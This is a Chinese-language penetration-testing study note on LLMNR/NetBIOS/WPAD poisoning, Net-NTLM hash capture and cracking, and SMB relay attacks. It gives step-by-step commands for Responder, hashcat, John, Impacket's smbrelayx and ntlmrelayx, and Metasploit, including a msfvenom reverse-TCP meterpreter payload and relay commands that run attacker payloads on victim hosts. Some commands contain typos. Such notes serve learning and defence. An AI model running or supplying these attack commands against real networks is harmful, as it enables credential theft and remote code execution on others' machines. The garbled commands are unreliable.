基础原理
- LLMNR概念 链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。 LLMNR 的工作过程 当一台主机想要访问到另一台主机时,1主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么2主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为3使用LLMNR链路本地多播名称解析。 使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。
- NetBios概念 Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址。几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。 网络基础:NetBIOS - sparkdev - 博客园 (cnblogs.com)
- windows系统名称解析顺序(在LLMNR中有提到过)
- 本地hosts文件(%windir%\System32\drivers\etc\hosts)
- DNS缓存/DNS服务器
- 3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。
- NTLM Hash和NET-NTLM Hash NTLM hash 就是里面加密保存了用户密码的hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。如果获得了NTLM hash就可以直接用哈希传递攻击 NET-NTLM hash是基于NTLM Hash计算 NTLM认证过程(见其他页)
当攻击者发送没有被受害机本地缓存、DNS缓存过的主机名时,就会使用LLMNR和NetBIOS解析,受害机在不经过认证后就信任并响应(发送hash后的windows凭据)攻击者
抓取NET-NTLM hash
SMB:客户端(受害机)连接服务端(攻击机)时,默认会用本机的用户名和hash密码发送请求登录包。那么攻击者就可以获得NET-NTLM hash。
1. 获得NET-NTLM hash Responder工具
下载地址:https://github.com/sdfzy/Responder
功能:监听LLMNR和NetBIOS请求并自动响应认证
Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。
1. 攻击机开启监听
responder -I eth0 -f
- I:指定使用的网卡
- f:允许攻击者查看受害者的主机指纹
2. 受害机发出请求
net use \\whoami
- \[不能被解析的名称]
然后responder就能监听到请求包和hash。
2.获得NET-NTLM hash 利用WPAD
- WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件(配置代理的文件)的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
- NBNS NetBIOS name service的缩写,是NetBIOS的命名服务。用于将NetBIOS名称映射到IP地址上。NBNS是动态DNS的一种。路由器可以通过发送NBNS状态请求以获取设备名,windows PC 接收到后通过WINS或将本地缓存发送命名信息给路由器。
- 攻击原理 利用LLMNR/NBNS欺骗让受害机从攻击机处获取PAC文件,而PAC文件指定攻击机为代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash
- 这里我产生了疑问,浏览器是怎么去查找存放PAC文件的主机,又如何将PAC文件从其他主机获取到的? WPAD原理及实现
攻击方式
Responder创建一个假的WPAD服务器,并响应客户端的WPAD名称解析,客户端就会下载一个伪造的WPAD.DAT文件
responder -I eth0 -r on -v -F on -w on
responder会像XSS一样弹出身份验证屏幕,并要求输入客户端的域用户名和密码。之后就会监听到NEt-NTLM hash
3. XSS和文件包含获取Net-NTLM hash
metasploit中的auxiliary/docx/word_unc_injector
会创建一个带有unc路径
的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。
对NET-NTLM hash的利用— —爆破处理
Responder会将所有抓取到的数据存储到 /usr/share/responder/logs/ 文件夹下,会为每个service-proto-IP生成唯一的文件
hashcat对NET-NTLM hash爆破
将Net-NTLM Hash保存到hash.txt中,然后
hashcat.exe -m 56 hash.txt rockyou.txt
rockyou.exe是字典
john the Ripper对hash爆破
kali自带
john XXX.txt [—wo [外部字典]]
SMB中继攻击
分为工作组环境和域环境,下只讨论域环境
即DC发出的SMB请求,被受控制机修改,并将其发送到受害机上,并获得受害机的权限。
Responder工具
扫描域内机器SMB签名开放情况
使用responder中RunFinger.py
./RunFinger.py -i [内网网段]
看到所有SMB signing:False
获取shell
python [MutiRelay.py](http://MutiRelay.py) -t <域内受害者IP> -u ALL
此时,SMB由MutiRelay.py中继
修改配置Responder.conf配置文件
使之停止抓取hash。将SMB,HTTP的On改为Off
重启Responder.py
这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应。
responder -I eth0
在DC上传递SMB流量
net use \\[不存在的主机名]
既可获得<域内受害者IP>的shell
Impacket工具
Client 1为SMB客户端,攻击者的恶意SMB服务器将请求改造,发送给Client 2

- 攻击者执行
./smbrelayx.py -h <Client2 IP> -c <Command>
command为需要在Client2执行的命令 - Client 1执行
run use \\<攻击者IP>
相当于访问SMB服务器
Command可以替换成msf马,让Client 2 执行payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
设置好msfconsole中exploit/multi/handler监听:
use exploit/multi/hander
并打开自动进程迁移set AutoRunScript migrate
再执行./smbrelayx.py -h <Client2 IP> -e ./shell.exe
MSF中smb_relay模块(ms08-068)
(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)
是对SMB客服端的自身反射
即 攻击机开启SMB服务run
,受害机执行net use \\<攻击机IP>\c$
,即可
Impcaket中mtlmrelayx.py
ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器
./ntlmrelayx.py -t <指定的被攻击 IP>
利用c
选项来在目标主机上面执行命令:
./ntlmrelayx.py -t smb://<指定的被攻击 IP> -c whoami -smb2support
然后钓鱼或者配合脚本
利用c
选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。
ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'
执行后,responder关闭smb和http,并重启responder -I eth0
在域控上执行net use \\whoami
,产生任意smb流量
Comments | NOTHING